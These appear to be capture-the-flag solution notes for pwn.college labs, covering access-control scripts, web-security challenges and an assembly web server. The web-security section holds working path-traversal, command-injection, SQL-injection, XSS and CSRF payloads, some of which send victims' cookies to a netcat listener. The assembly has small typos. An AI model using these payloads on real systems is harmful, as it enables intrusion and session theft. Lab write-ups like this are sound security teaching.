

Access Control

Level 15 to 18

```
1 | python3 lvl15to18.py
```

lvl15to18.py

```
1  import subprocess
2
3  def calculate_answer(line):
4      levels = {
5          "TS": 3,
6          "S": 2,
7          "C": 1,
8          "UC": 0
9      }
10
11     if "read" in line:
12         action = "read"
13     elif "write" in line:
14         action = "write"
15
16     subject_level = line.split("with level ")[1].split(" and categories")[0]
17     subject_categories_string = line.split("{")[1].split("}")[0]
18     subject_categories = set(subject_categories_string.split(", ")) if subject_categories_string
19     else set()
20
21     object_level = line.split("Object with level ")[1].split(" and categories")[0]
22     object_categories_string = line.split("{")[2].split("}")[0]
23     object_categories = set(object_categories_string.split(", ")) if object_categories_string
24     else set()
25
26     if action == "write":
27         if levels[subject_level] <= levels[object_level] and
28         subject_categories.issubset(object_categories):
29             return "yes\n"
30
31     elif action == "read":
32         if levels[subject_level] >= levels[object_level] and
33         object_categories.issubset(subject_categories):
34             return "yes\n"
35
36     return "no\n"
37
38 server = "/challenge/run"
39 process = subprocess.Popen(server, stdin=subprocess.PIPE, stdout=subprocess.PIPE,
40                             stderr=subprocess.PIPE, text=True)
41
42 for line in process.stdout:
43     line = line.strip()
44
45     if 'pwn.college' in line:
46         print(line)
47
48     if len(line) > 0 and line[0] == "Q":
49
50         trim_index = line.find(".")
51         line = line[trim_index+2 : -1]
52
53         ques_answer = calculate_answer(line)
54         process.stdin.write(ques_answer)
55         process.stdin.flush()
```

```

52     if line == "Incorrect!": # per debugging
53         print(line)
54         process.terminate()
55         break

```

Level 19

```
1 python3 lvl19.py
```

lvl19.py

```

1  import subprocess
2
3  def calculate_answer(line, levels):
4      if "read" in line:
5          action = "read"
6      elif "write" in line:
7          action = "write"
8
9      subject_level = line.split("with level ")[1].split(" and categories")[0]
10     subject_categories_string = line.split("{")[1].split("}")[0]
11     subject_categories = set(subject_categories_string.split(", ")) if subject_categories_string
12     else set()
13
14     object_level = line.split("Object with level ")[1].split(" and categories")[0]
15     object_categories_string = line.split("{")[2].split("}")[0]
16     object_categories = set(object_categories_string.split(", ")) if object_categories_string
17     else set()
18
19     if action == "write":
20         if levels[subject_level] <= levels[object_level] and
21         subject_categories.issubset(object_categories):
22             return "yes\n"
23
24     elif action == "read":
25         if levels[subject_level] >= levels[object_level] and
26         object_categories.issubset(subject_categories):
27             return "yes\n"
28
29     return "no\n"
30
31 server = "/challenge/run"
32 process = subprocess.Popen(server, stdin=subprocess.PIPE, stdout=subprocess.PIPE,
33                             stderr=subprocess.PIPE, text=True)
34
35 levels_legend_done = False
36 importance = 39
37 levels = False
38 levels_legend = {}
39
40 for line in process.stdout:
41     line = line.strip()
42
43     if levels_legend_done == False:
44         if importance < 0:
45             levels_legend_done = True
46             continue
47
48     if line == "40 Levels (first is highest aka more sensitive)":
49         levels = True
50         continue

```

```

49         if levels == True:
50             levels_legend[line] = importance
51             importance -= 1
52             continue
53
54         if 'pwn.college' in line:
55             print(line)
56
57         if len(line) > 0 and line[0] == "Q":
58
59             trim_index = line.find(".")
60             line = line[trim_index+2 : -1]
61
62             ques_answer = calculate_answer(line, levels_legend)
63             process.stdin.write(ques_answer)
64             process.stdin.flush()
65
66         if line == "Incorrect!": # per debugging
67             print(line)
68             process.terminate()
69             break

```

Web Security

Path Traversal

PT 1

```

1 /challenge/server > /dev/null 2>&1 &
2 curl http://challenge.localhost/%2E%2E/%2E%2E/flag

```

PT 2

```

1 /challenge/server > /dev/null 2>&1 &
2 curl http://challenge.localhost/fortunes/%2E%2E/%2E%2E/%2E%2E/flag

```

CMDi

CMDi 1

```

1 /challenge/server > /dev/null 2>&1 &
2 curl -s "http://challenge.localhost/?directory=/challenge;cat%20/flag" | grep college

```

CMDi 2

```

1 /challenge/server > /dev/null 2>&1 &
2 curl -s "http://challenge.localhost/?directory=/challenge%26%26cat%20/flag" | grep college

```

CMDi 3

```

1 /challenge/server > /dev/null 2>&1 &
2 curl -s "http://challenge.localhost/?directory=/challenge';%20cat%20'/flag" | grep college

```

CMDi 4

```
1 /challenge/server > /dev/null 2>&1 &
2 curl -s "http://challenge.localhost/?timezone=rome;cat%20/flag" | grep -oP 'pwn\.college\{.*?\}'
```

CMDi 5

```
1 /challenge/server > /dev/null 2>&1 &
2 curl -s "http://challenge.localhost/?filepath=prove.txt;cat%20/flag%20%3E%20/flag.txt" >
/dev/null; cat /flag.txt
```

CMDi 6

```
1 /challenge/server > /dev/null 2>&1 &
2 curl -s "http://challenge.localhost/?directory=../../flag%0Acat%20../../flag" | grep college
```

Authentication Bypass

AB 1

```
1 /challenge/server > /dev/null 2>&1 &
2 curl -s "http://challenge.localhost/?session_user=admin" | grep -oP "pwn\.college\{.*?\}"
```

AB 2

```
1 /challenge/server > /dev/null 2>&1 &
2 curl -s -b "session_user=admin" "http://challenge.localhost:80/" | grep -oP "pwn\.college\{.*?\}"
```

SQLi

SQLi 1

```
1 /challenge/server > /dev/null 2>&1 &
2 curl -s -c cookies.txt -X POST "http://challenge.localhost:80/" --data "username=admin&pin=42 OR 1
= 1" > /dev/null; curl -s -b cookies.txt -X GET "http://challenge.localhost:80/" | grep -oP
"pwn\.college\{.*?\}"
```

SQLi 2

```
1 /challenge/server > /dev/null 2>&1 &
2 curl -s -c cookies.txt -X POST "http://challenge.localhost:80/" --data
"username=admin&password=42' OR '1' = '1" > /dev/null; curl -s -b cookies.txt -X GET
"http://challenge.localhost:80/" | grep -oP "pwn\.college\{.*?\}"
```

SQLi 3

```
1 /challenge/server > /dev/null 2>&1 &
2 curl -s "http://challenge.localhost:80/?
query=admin\"'%20UNION%20SELECT%20password%20FROM%20users%20WHERE%20username%20LIKE%20\"admin\"' |
grep college
```

SQLi 4

```
1 /challenge/server > /dev/null 2>&1 &
2 users=$(curl -s "http://challenge.localhost:80/?
  query=%25\"%20UNION%20SELECT%20name%20FROM%20sqlite_master%20WHERE%20type%20%3D%20\"table\" | grep
  -o 'users_[0-9]*'); curl -s "http://challenge.localhost:80/?
  query=admin\"%20UNION%20SELECT%20password%20FROM%20${users}%20WHERE%20username%20LIKE%20\"admin\" |
  grep college
```

SQLi 5

```
1 /challenge/server > /dev/null 2>&1 &
2 python3 sqli5.py
```

sqli5.py might take around 10 seconds to execute

```
1 import requests
2
3 url = 'http://challenge.localhost:80/'
4
5 chars = list("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-.")
6 password = ""
7
8 for i in range(39):
9     for e in chars:
10         data = {
11             # i + 12 (the first 12 character are "pwn.college{" and can be skipped)
12             # + 1 (sql indexing starts at 1)
13             "username": f'admin' AND SUBSTR(password, {i+13}, 1)="{e}" --',
14             "password": "42"
15         }
16
17         session = requests.Session()
18         response = session.post(url, data=data)
19
20         if response.status_code == 200:
21             password = password + e
22
23 print(password)
```

XSS

XSS 1

```
1 /challenge/server > /dev/null 2>&1 &
2 for i in {1..3}; do curl -s -X POST "http://challenge.localhost:80/" --data 'content=
  <input>icsdi</input>' > /dev/null; done; /challenge/victim | grep college
```

XSS 2

might take around 10 seconds to execute

```
1 /challenge/server > /dev/null 2>&1 &
2 curl -s -c cookies.txt -X POST "http://challenge.localhost:80/" --data 'content=
  <script>alert("PWNED")</script>' > /dev/null; /challenge/victim 2>&1 | grep college
```

XSS 3

might take around 10 seconds to execute

```
1 /challenge/server > /dev/null 2>&1 &
2 /challenge/victim "http://challenge.localhost/?
msg=%3Cscript%3Ealert%28%22PWNED%22%29%3C%2Fscript%3E" 2>&1 | grep college
```

XSS 4

might take around 10 seconds to execute

```
1 /challenge/server > /dev/null 2>&1 &
2 /challenge/victim "http://challenge.localhost/?
msg=%3C%2Ftextarea%3E%3Cscript%3Ealert%28%22PWNED%22%29%3C%2Fscript%3E%3Ctextarea%3E" 2>&1 | grep
college
```

XSS 5

```
1 /challenge/server > /dev/null 2>&1 &
2 python3 xss5.py
```

xss5.py *might take around 20/30 seconds to execute*

```
1 import requests
2 import subprocess
3 import re
4
5 session = requests.Session()
6 base_url = "http://challenge.localhost:80"
7
8 login = {
9     'username': "hacker",
10    'password': "1337",
11 }
12
13 session.post(f"{base_url}/login", data = login)
14
15 script = "<script>fetch('/publish', { method: 'GET'})</script>"
16
17 data = {
18     'content': script,
19     'publish': 'true'
20 }
21
22 session.post(f"{base_url}/draft", data = data) # malevolent post created
23
24 victim = "/challenge/victim"
25 result = subprocess.run(victim) # running victim program
26
27 output = session.get(base_url).text
28 flag = re.search(r'pwn\.college\{.*?\}', output).group() # getting flag from admin post
29 print(flag)
```

XSS 6

The script is almost the same as the previous one, but on line 15 it's to be done a POST request to `/publish`

```
1 /challenge/server > /dev/null 2>&1 &
2 python3 xss6.py
```

xss6.py *might take around 20/30 seconds to execute*

```

1 import requests
2 import subprocess
3 import re
4
5 session = requests.Session()
6 base_url = "http://challenge.localhost:80"
7
8 login = {
9     'username': "hacker",
10    'password': "1337",
11 }
12
13 session.post(f"{base_url}/login", data = login)
14
15 script = "<script>fetch('/publish', { method: 'POST'})</script>"
16
17 data = {
18     'content': script,
19     'publish': 'true'
20 }
21
22 session.post(f"{base_url}/draft", data = data) # malevolent post created
23
24 victim = "/challenge/victim"
25 result = subprocess.run(victim) # running victim program
26
27 output = session.get(base_url).text
28 flag = re.search(r'pwn\.college\{.*?\}', output).group() # getting flag from admin post
29 print(flag)

```

XSS 7

```

1 /challenge/server > /dev/null 2>&1 &
2 python3 xss7.py

```

xss7.py might take around 20/30 seconds to execute

```

1 import requests
2 import subprocess
3 import re
4
5 base_url = "http://challenge.localhost:80"
6
7 session = requests.Session()
8
9 login = {
10    'username': "hacker",
11    'password': "1337",
12 }
13 session.post(f"{base_url}/login", data=login)
14
15 nc_listener = subprocess.Popen(['nc', '-lnv', '4242'], stdout=subprocess.PIPE,
16                                 stderr=subprocess.PIPE)
17
18 script = "<script>fetch('http://0.0.0.0:4242', { method: 'POST', body: document.cookie });</script>"
19
20 data = {
21     'content': script,
22     'publish': 'true'
23 }
24
25 session.post(f"{base_url}/draft", data=data) # malevolent post created

```

```

26 victim = "/challenge/victim"
27 subprocess.run(victim, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
28
29 nc_output, nc_error = nc_listener.communicate()
30 cookie = nc_output.decode().split("\n")[-1] # admin cookie found
31
32 # start admin session
33 session = requests.Session()
34 session.cookies.set(cookie.split("=")[0], cookie.split("=")[1])
35
36 output = session.get(base_url).text
37 flag = re.search(r'pwn\.college\{.*?\}', output).group() # getting flag from admin post
38 print(flag)

```

CSRF

All of those scripts might take around 20/30 seconds to execute

CSRF 1

index.html

```

1 <html>
2   <body>
3     <form id="redirect" action="http://challenge.localhost/publish" method="GET"></form>
4     <script>
5       document.getElementById("redirect").submit();
6     </script>
7   </body>
8 </html>

```

Run the `/challenge/server`. On another terminal session create an `index.html` file and put in it the code below. After that, on the same cwd of `index.html`, run `python3 -m http.server -b hacker.localhost 1337`.

Finally, run the `/challenge/victim`, and in order to retrieve the flag run the following command:

```

1 curl -s -c cookies.txt -X POST "http://challenge.localhost:80/login" --data
  "username=hacker&password=1337" > /dev/null && curl -s -b cookies.txt
  "http://challenge.localhost:80/?username=hacker" | grep college && rm cookies.txt

```

CSRF 2

Same solution as `CSRF 1`, but with a `POST` request instead of the `GET` request on line 3 of `index.html`

CSRF 3

Run the `/challenge/server`. On another terminal session create an `index.html` file and put in it the code below. After that, on the same cwd of `index.html`, run `python3 -m http.server -b hacker.localhost 1337`.

`/challenge/victim 2>/dev/null | grep college`, in yet another terminal, to run the victim program and retrieve the flag.

index.html


```

1 <html>
2   <body>
3     <script>
4       var script = "<script>alert('PWNED')</" + "script>";
5       var url = "http://challenge.localhost/ephemeral?msg=" + encodeURIComponent(script);
6       window.location.href = url;
7     </script>
8   </body>
9 </html>

```

index.html second version

```

1 <html>
2   <body>
3     <form id="redirect" action="http://challenge.localhost/ephemeral" method="GET">
4       <input id="msg_parameter" type="hidden" name="msg"/>
5     </form>
6     <script>
7       let script = "<scr" + "ipt>alert('PWNED')</scr" + "ipt>";
8       document.getElementById("msg_parameter").value = script;
9
10      document.getElementById('redirect').submit();
11    </script>
12  </body>
13 </html>

```

CSRF 4

Run the `/challenge/server`. On another terminal session create an `index.html` file and put in it the code below. After that, on the same cwd of `index.html`, run `python3 -m http.server -b hacker.localhost 1337`.

On yet another terminal session, set up a listener running `nc -lvn 4242`. Finally, run `/challenge/victim` into a new terminal window and retrieve the cookie in the previous listener.

Now that you have the cookie, you can make a `GET` request by impersonating the admin and retrieve the flag:

```
1 curl -s -b "your_found_cookie" "http://challenge.localhost:80" | grep college
```

index.html

```

1 <script>
2   var script = "<scr" + "ipt>fetch('http://0.0.0.0:4242', { method: 'POST', body:
3     document.cookie });</s" + "cript>";
4   var url = "http://challenge.localhost/ephemeral?msg=" + encodeURIComponent(script);
5   window.location.href = url;
6 </script>

```

Easier solution

Run the `/challenge/server`. On another terminal session create an `index.html` file and put in it the code above. After that, on the same cwd of `index.html`, run `python3 -m http.server -b hacker.localhost 1337`.

Then run `python3 xss7.py`, where `xss7.py` is the script that you can find in the upper exercises.

CSRF 5

Run the `/challenge/server`. On another terminal session create an `index.html` file and put in it the code below. After that, on the same cwd of `index.html`, run `python3 -m http.server -b hacker.localhost 1337`.

On yet another terminal session, set up a listener running `nc -lvn 4242`. Finally, run `/challenge/victim` into a new terminal window and retrieve the flag in the previous listener.

index.html

```
1 <script>
2 var script = "<script>" +
3   "fetch('http://challenge.localhost/')" +
4   ".then(response => response.text())" +
5   ".then(data => {" +
6     "const flag = data.match(/\\{([^\}]+)\\}/)[1];" +
7     "fetch('http://0.0.0.0:4242',{method:'POST',body:'pwn.college{' + flag + '}}');" +
8   "});</s" + "<script>";
9
10 <!-- in the script you could just put data in the body without doing any matching -->
11
12 var url = "http://challenge.localhost/ephemeral?msg=" + encodeURIComponent(script);
13 window.location.href = url;
14 </script>
```

Building a Web Server

Level 1

Just follow the `README.md`

```
1 .intel_syntax noprefix
2 .globl _start
3
4 .section .text
5 _start:
6     mov rdi, 0
7     mov rax, 60    # SYS_exit
8     syscall
9
10 .section .data
```

Level 2

Linux sistem call 41 `sys_socket: int family, int type, int protocol`

`grep -r 'SOCK_' /usr/include/`

- `/usr/include/x86_64-linux-gnu/bits/socket_type.h` to find the `type` values
- `/usr/include/x86_64-linux-gnu/bits/socket.h` to find the `family` values
- `/usr/include/netinet/in.h` to find the `protocol` values

server.s

```
1 .intel_syntax noprefix
2 .globl _start
3
4 .section .text
5 _start:
6     # Create socket: socket(AF_INET, SOCK_STREAM, 0)
7     mov rax, 41 # syscall: socket
8     mov rdi, 2  # AF_INET (family)
9     mov rsi, 1  # SOCK_STREAM (type)
10    mov rdx, 0   # Protocol (0 = default)
11    syscall
12
13    cmp rax, 0
```

```

14     jl error
15
16     # Exit successfully
17     mov rdi, 0
18     mov rax, 60
19     syscall
20
21 error:
22     mov rdi, 1
23     mov rax, 60
24     syscall

```

Level 3

```

1  .intel_syntax noprefix
2  .globl _start
3
4  .section .text
5  _start:
6      mov rdi, 2 # AF_INET
7      mov rsi, 1 # SOCK_STREAM
8      mov rdx, 0 # Protocol 0
9      mov rax, 41 # SYS_socket
10     syscall
11
12     # sockaddr_in structure on the stack
13     sub rsp, 16 # move sp
14     mov word ptr [rsp], 2 # sin_family = AF_INET
15     mov word ptr [rsp+2], 0x5000 # sin_port = 80
16     mov dword ptr [rsp+4], 0x00000000 # sin_addr = 0.0.0.0
17
18     mov rdi, rax # socket file descriptor
19     mov rsi, rsp # pointer to sockaddr
20     mov rdx, 16 # socklen
21     mov rax, 49 # SYS_bind
22     syscall
23
24     mov rdi, 0 # status 0
25     mov rax, 60 # SYS_exit
26     syscall

```

Level 4

```

1  .intel_syntax noprefix
2  .globl _start
3
4  .section .text
5  _start:
6      mov rdi, 2 # AF_INET
7      mov rsi, 1 # SOCK_STREAM
8      mov rdx, 0 # Protocol 0
9      mov rax, 41 # SYS_socket
10     syscall
11
12     mov rbx, rax # save socket fd
13
14     # sockaddr_in structure on the stack
15     sub rsp, 16 # Allocate space on stack
16     mov word ptr [rsp], 2 # sin_family = AF_INET
17     mov word ptr [rsp+2], 0x5000 # sin_port = 80
18     mov dword ptr [rsp+4], 0x00000000 # sin_addr = 0.0.0.0
19
20     # Bind socket
21     mov rdi, rbx # socket file descriptor

```

```

22     mov rsi, rsp    # pointer to sockaddr
23     mov rdx, 16     # socklen
24     mov rax, 49     # SYS_bind
25     syscall
26
27     mov rdi, rbx     # socket file descriptor
28     mov rsi, 0      # backlog size
29     mov rax, 50     # SYS_listen
30     syscall
31
32     mov rdi, 0      # status 0
33     mov rax, 60     # SYS_exit
34     syscall

```

Level 5

```

1  .intel_syntax noprefix
2  .globl _start
3
4  .section .text
5  _start:
6      mov rdi, 2      # AF_INET
7      mov rsi, 1      # SOCK_STREAM
8      mov rdx, 0      # Protocol 0
9      mov rax, 41     # SYS_socket
10     syscall
11
12     mov rbx, rax     # save socket fd
13
14     # sockaddr_in structure on the stack
15     sub rsp, 16      # Allocate space on stack
16     mov word ptr [rsp], 2      # sin_family = AF_INET
17     mov word ptr [rsp+2], 0x5000 # sin_port = 80
18     mov dword ptr [rsp+4], 0x00000000 # sin_addr = 0.0.0.0
19
20     # Bind socket
21     mov rdi, rbx     # socket file descriptor
22     mov rsi, rsp     # pointer to sockaddr
23     mov rdx, 16     # socklen
24     mov rax, 49     # SYS_bind
25     syscall
26
27     mov rdi, rbx     # socket file descriptor
28     mov rsi, 0      # backlog size
29     mov rax, 50     # SYS_listen
30     syscall
31
32     mov rdi, rbx     # socket fd
33     mov rsi, 0      # pointer to sockaddr
34     mov rdx, 0      # socklen
35     mov rax, 43     # SYS_accept
36     syscall
37
38     mov rdi, 0      # status 0
39     mov rax, 60     # SYS_exit
40     syscall

```

Level 6

```

1  .intel_syntax noprefix
2  .globl _start
3
4  .section .text
5  _start:

```

```

6      mov rdi, 2  # AF_INET
7      mov rsi, 1  # SOCK_STREAM
8      mov rdx, 0  # Protocol 0
9      mov rax, 41 # SYS_socket
10     syscall
11
12     mov rbx, rax # save socket fd
13
14     # sockaddr_in structure on the stack
15     sub rsp, 16 # Allocate space on stack
16     mov word ptr [rsp], 2 # sin_family = AF_INET
17     mov word ptr [rsp+2], 0x5000 # sin_port = 80
18     mov dword ptr [rsp+4], 0x00000000 # sin_addr = 0.0.0.0
19
20     # Bind socket
21     mov rdi, rbx # socket file descriptor
22     mov rsi, rsp # pointer to sockaddr
23     mov rdx, 16 # socklen
24     mov rax, 49 # SYS_bind
25     syscall
26
27     mov rdi, rbx # socket file descriptor
28     mov rsi, 0 # backlog size
29     mov rax, 50 # SYS_listen
30     syscall
31
32     mov rdi, rbx # socket fd
33     mov rsi, 0 # pointer to sockaddr
34     mov rdx, 0 # socklen
35     mov rax, 43 # SYS_accept
36     syscall
37
38     mov rbx, rax # save accepted socket fd
39
40     sub rsp, 1024 # allocate space on stack
41     # Read from socket
42     mov rdi, rbx # accepted socket fd
43     mov rsi, rsp # buffer pointer in stack
44     mov rdx, 1024 # buffer size
45     mov rax, 0 # SYS_read
46     syscallm
47
48     # Write from socket
49     mov rdi, rbx # accepted socket fd
50     lea rsi, [res] # Pointer to string
51     mov rdx, 19 # response size
52     mov rax, 1 # SYS_write
53     syscall
54
55     # Close
56     mov rdi, rbx # accepted socket fd
57     mov rax, 3 # SYS_close
58     syscall
59
60     mov rdi, 0 # status 0
61     mov rax, 60 # SYS_exit
62     syscall
63
64     .section .data
65     res:
66     .asciz "HTTP/1.0 200 OK\r\n\r\n"

```

Level 7

```
1 .intel_syntax noprefix
```

```

2  .globl _start
3
4  .section .text
5  _start:
6      # Open socket
7      mov rdi, 2 # AF_INET
8      mov rsi, 1 # SOCK_STREAM
9      mov rdx, 0 # Protocol 0
10     mov rax, 41 # SYS_socket
11     syscall
12
13     mov rbx, rax # save socket fd
14
15     # sockaddr_in structure on the stack
16     sub rsp, 16 # Allocate space on stack
17     mov word ptr [rsp], 2 # sin_family = AF_INET
18     mov word ptr [rsp+2], 0x5000 # sin_port = 80
19     mov dword ptr [rsp+4], 0x00000000 # sin_addr = 0.0.0.0
20
21     # Bind socket
22     mov rdi, rbx # socket file descriptor
23     mov rsi, rsp # pointer to sockaddr structure
24     mov rdx, 16 # socklen
25     mov rax, 49 # SYS_bind
26     syscall
27
28     # Listen on socket
29     mov rdi, rbx # socket file descriptor
30     mov rsi, 0 # backlog size
31     mov rax, 50 # SYS_listen
32     syscall
33
34     # Accept http request from socket
35     mov rdi, rbx # socket fd
36     mov rsi, 0 # pointer to sockaddr
37     mov rdx, 0 # socklen
38     mov rax, 43 # SYS_accept
39     syscall
40
41     mov rbx, rax # save accepted socket fd
42
43     sub rsp, 1024 # allocate space on stack
44     # Read from accepted socket
45     mov rdi, rbx # accepted socket fd
46     mov rsi, rsp # buffer pointer in stack
47     mov rdx, 1024 # buffer size
48     mov rax, 0 # SYS_read
49     syscall
50
51     mov byte ptr [rsi+20], 0 # Add null terminator after 20 characters (keep only file name)
52
53     # Open file
54     lea rdi, [rsi+4] # +4 to skip the "GET " in the string
55     mov rsi, 0 # flags = O_RDONLY
56     mov rax, 2 # SYS_open
57     syscall
58
59     mov r12, rax # save file fd
60
61     sub rsp, 1024 # allocate space on stack
62     # Read from file
63     mov rdi, r12 # opened file fd
64     mov rsi, rsp # buffer pointer in stack
65     mov rdx, 1024 # buffer size
66     mov rax, 0 # SYS_read
67     syscall
68

```

```

69     mov r13, rsi    # file content pointer
70     mov r14, rax    # file content length in bytes
71
72     # Close file
73     mov rdi, r12    # opened file fd
74     mov rax, 3      # SYS_close
75     syscall
76
77     # Write to accepted socket
78     mov rdi, rbx    # accepted socket fd
79     lea rsi, [res]  # Pointer to string
80     mov rdx, 19     # response size
81     mov rax, 1      # SYS_write
82     syscall
83
84     # Write to accepted socket file content
85     mov rdi, rbx    # accepted socket fd
86     mov rsi, r13    # Pointer to string
87     mov rdx, r14    # response size
88     mov rax, 1      # SYS_write
89     syscall
90
91     # Close accepted socket
92     mov rdi, rbx    # accepted socket fd
93     mov rax, 3      # SYS_close
94     syscall
95
96     mov rdi, 0      # status 0
97     mov rax, 60     # SYS_exit
98     syscall
99
100    .section .data
101    res:
102    .asciz "HTTP/1.0 200 OK\r\n\r\n"

```

Level 8

```

1  .intel_syntax noprefix
2  .globl _start
3
4  .section .text
5  _start:
6      # Open socket
7      mov rdi, 2      # AF_INET
8      mov rsi, 1      # SOCK_STREAM
9      mov rdx, 0      # Protocol 0
10     mov rax, 41     # SYS_socket
11     syscall
12
13     mov r15, rax    # save socket fd
14
15     # sockaddr_in structure on the stack
16     sub rsp, 16     # Allocate space on stack
17     mov word ptr [rsp], 2      # sin_family = AF_INET
18     mov word ptr [rsp+2], 0x5000 # sin_port = 80
19     mov dword ptr [rsp+4], 0x00000000 # sin_addr = 0.0.0.0
20
21     # Bind socket
22     mov rdi, r15    # socket file descriptor
23     mov rsi, rsp    # pointer to sockaddr structure
24     mov rdx, 16     # socklen
25     mov rax, 49     # SYS_bind
26     syscall
27
28     # Listen on socket

```

```

29     mov rdi, r15    # socket file descriptor
30     mov rsi, 0      # backlog size
31     mov rax, 50     # SYS_listen
32     syscall
33
34     # Accept http request from socket
35     mov rdi, r15    # socket fd
36     mov rsi, 0      # pointer to sockaddr
37     mov rdx, 0      # socklen
38     mov rax, 43     # SYS_accept
39     syscall
40
41     mov rbx, rax    # save accepted socket fd
42
43     sub rsp, 1024   # allocate space on stack
44     # Read from accepted socket
45     mov rdi, rbx    # accepted socket fd
46     mov rsi, rsp    # buffer pointer in stack
47     mov rdx, 1024   # buffer size
48     mov rax, 0      # SYS_read
49     syscall
50
51     mov byte ptr [rsi+20], 0    # Add null terminator after 20 characters (keep only file name)
52
53     # Open file
54     lea rdi, [rsi+4]    # +4 to skip the "GET " in the string
55     mov rsi, 0          # flags = O_RDONLY
56     mov rax, 2          # SYS_open
57     syscall
58
59     mov r12, rax        # save file fd
60
61     sub rsp, 1024   # allocate space on stack
62     # Read from file
63     mov rdi, r12    # opened file fd
64     mov rsi, rsp    # buffer pointer in stack
65     mov rdx, 1024   # buffer size
66     mov rax, 0      # SYS_read
67     syscall
68
69     mov r13, rsi    # file content pointer
70     mov r14, rax    # file content length in bytes
71
72     # Close file
73     mov rdi, r12    # opened file fd
74     mov rax, 3      # SYS_close
75     syscall
76
77     # Write to accepted socket
78     mov rdi, rbx    # accepted socket fd
79     lea rsi, [res]  # Pointer to string
80     mov rdx, 19     # response size
81     mov rax, 1      # SYS_write
82     syscall
83
84     # Write to accepted socket file content
85     mov rdi, rbx    # accepted socket fd
86     mov rsi, r13    # Pointer to string
87     mov rdx, r14    # response size
88     mov rax, 1      # SYS_write
89     syscall
90
91     # Close accepted socket
92     mov rdi, rbx    # accepted socket fd
93     mov rax, 3      # SYS_close
94     syscall
95

```



```

96     # Accept http request from socket
97     mov rdi, r15     # socket fd
98     mov rsi, 0       # pointer to sockaddr
99     mov rdx, 0       # socklen
100    mov rax, 43       # SYS_accept
101    syscall
102
103    .section .data
104    res:
105    .asciz "HTTP/1.0 200 OK\r\n\r\n"

```

Level 9

```

1  .intel_syntax noprefix
2  .globl _start
3
4  .section .text
5  _start:
6      # Open socket
7      mov rdi, 2     # AF_INET
8      mov rsi, 1     # SOCK_STREAM
9      mov rdx, 0     # Protocol 0
10     mov rax, 41     # SYS_socket
11     syscall
12
13     mov r15, rax    # save socket fd
14
15     # sockaddr_in structure on the stack
16     sub rsp, 16     # Allocate space on stack
17     mov word ptr [rsp], 2     # sin_family = AF_INET
18     mov word ptr [rsp+2], 0x5000    # sin_port = 80
19     mov dword ptr [rsp+4], 0x00000000 # sin_addr = 0.0.0.0
20
21     # Bind socket
22     mov rdi, r15     # socket file descriptor
23     mov rsi, rsp     # pointer to sockaddr structure
24     mov rdx, 16     # socklen
25     mov rax, 49     # SYS_bind
26     syscall
27
28     # Listen on socket
29     mov rdi, r15     # socket file descriptor
30     mov rsi, 0       # backlog size
31     mov rax, 50     # SYS_listen
32     syscall
33
34     # Accept http request from socket
35     mov rdi, r15     # socket fd
36     mov rsi, 0       # pointer to sockaddr
37     mov rdx, 0       # socklen
38     mov rax, 43     # SYS_accept
39     syscall
40
41     mov rbx, rax     # save accepted socket fd
42
43     mov rax, 57     # SYS_fork
44     syscall
45
46     # Close accepted socket
47     mov rdi, rbx     # accepted socket fd
48     mov rax, 3       # SYS_close
49     syscall
50
51     # Accept http request from socket
52     mov rdi, r15     # socket fd

```

```

53     mov rsi, 0      # pointer to sockaddr
54     mov rdx, 0      # socklen
55     mov rax, 43     # SYS_accept
56     syscall
57
58     # Close accepted socket
59     mov rdi, r15     # socket fd
60     mov rax, 3      # SYS_close
61     syscall
62
63     sub rsp, 1024    # allocate space on stack
64     # Read from accepted socket
65     mov rdi, rbx     # accepted socket fd
66     mov rsi, rsp     # buffer pointer in stack
67     mov rdx, 1024    # buffer size
68     mov rax, 0      # SYS_read
69     syscall
70
71     mov byte ptr [rsi+20], 0    # Add null terminator after 20 characters (keep only file name)
72
73     # Open file
74     lea rdi, [rsi+4]    # +4 to skip the "GET " in the string
75     mov rsi, 0          # flags = O_RDONLY
76     mov rax, 2          # SYS_open
77     syscall
78
79     mov r12, rax        # save file fd
80
81     sub rsp, 1024    # allocate space on stack
82     # Read from file
83     mov rdi, r12     # opened file fd
84     mov rsi, rsp     # buffer pointer in stack
85     mov rdx, 1024    # buffer size
86     mov rax, 0      # SYS_read
87     syscall
88
89     mov r13, rsi     # file content pointer
90     mov r14, rax     # file content length in bytes
91
92     # Close file
93     mov rdi, r12     # opened file fd
94     mov rax, 3      # SYS_close
95     syscall
96
97     # Write to accepted socket
98     mov rdi, rbx     # accepted socket fd
99     lea rsi, [res]   # Pointer to string
100    mov rdx, 19       # response size
101    mov rax, 1        # SYS_write
102    syscall
103
104    # Write to accepted socket file content
105    mov rdi, rbx     # accepted socket fd
106    mov rsi, r13     # Pointer to string
107    mov rdx, r14     # response size
108    mov rax, 1       # SYS_write
109    syscall
110
111    mov rdi, 0      # status 0
112    mov rax, 60     # SYS_exit
113    syscall
114
115    .section .data
116    res:
117    .asciz "HTTP/1.0 200 OK\r\n\r\n"

```

Level 10

/usr/include/asm-generic/fcntl.h

SYS_open flags values

```
1  .intel_syntax noprefix
2  .globl _start
3
4  .section .text
5  _start:
6      # Open socket
7      mov rdi, 2 # AF_INET
8      mov rsi, 1 # SOCK_STREAM
9      mov rdx, 0 # Protocol 0
10     mov rax, 41 # SYS_socket
11     syscall
12
13     mov r15, rax # save socket fd
14
15     # sockaddr_in structure on the stack
16     sub rsp, 16 # Allocate space on stack
17     mov word ptr [rsp], 2 # sin_family = AF_INET
18     mov word ptr [rsp+2], 0x5000 # sin_port = 80
19     mov dword ptr [rsp+4], 0x00000000 # sin_addr = 0.0.0.0
20
21     # Bind socket
22     mov rdi, r15 # socket file descriptor
23     mov rsi, rsp # pointer to sockaddr structure
24     mov rdx, 16 # socklen
25     mov rax, 49 # SYS_bind
26     syscall
27
28     # Listen on socket
29     mov rdi, r15 # socket file descriptor
30     mov rsi, 0 # backlog size
31     mov rax, 50 # SYS_listen
32     syscall
33
34 parent_proc:
35     # Accept http request from socket
36     mov rdi, r15 # socket fd
37     mov rsi, 0 # pointer to sockaddr
38     mov rdx, 0 # socklen
39     mov rax, 43 # SYS_accept
40     syscall
41
42     mov rbx, rax # save accepted socket fd
43
44     # Fork
45     mov rax, 57 # SYS_fork
46     syscall
47     cmp rax, 0 # rax is 0 for child
48     je child_proc # jump if child
49
50     # Close accepted socket
51     mov rdi, rbx # accepted socket fd
52     mov rax, 3 # SYS_close
53     syscall
54
55     jmp parent_proc
56
57 child_proc:
58
59     # Close socket
60     mov rdi, r15 # socket fd
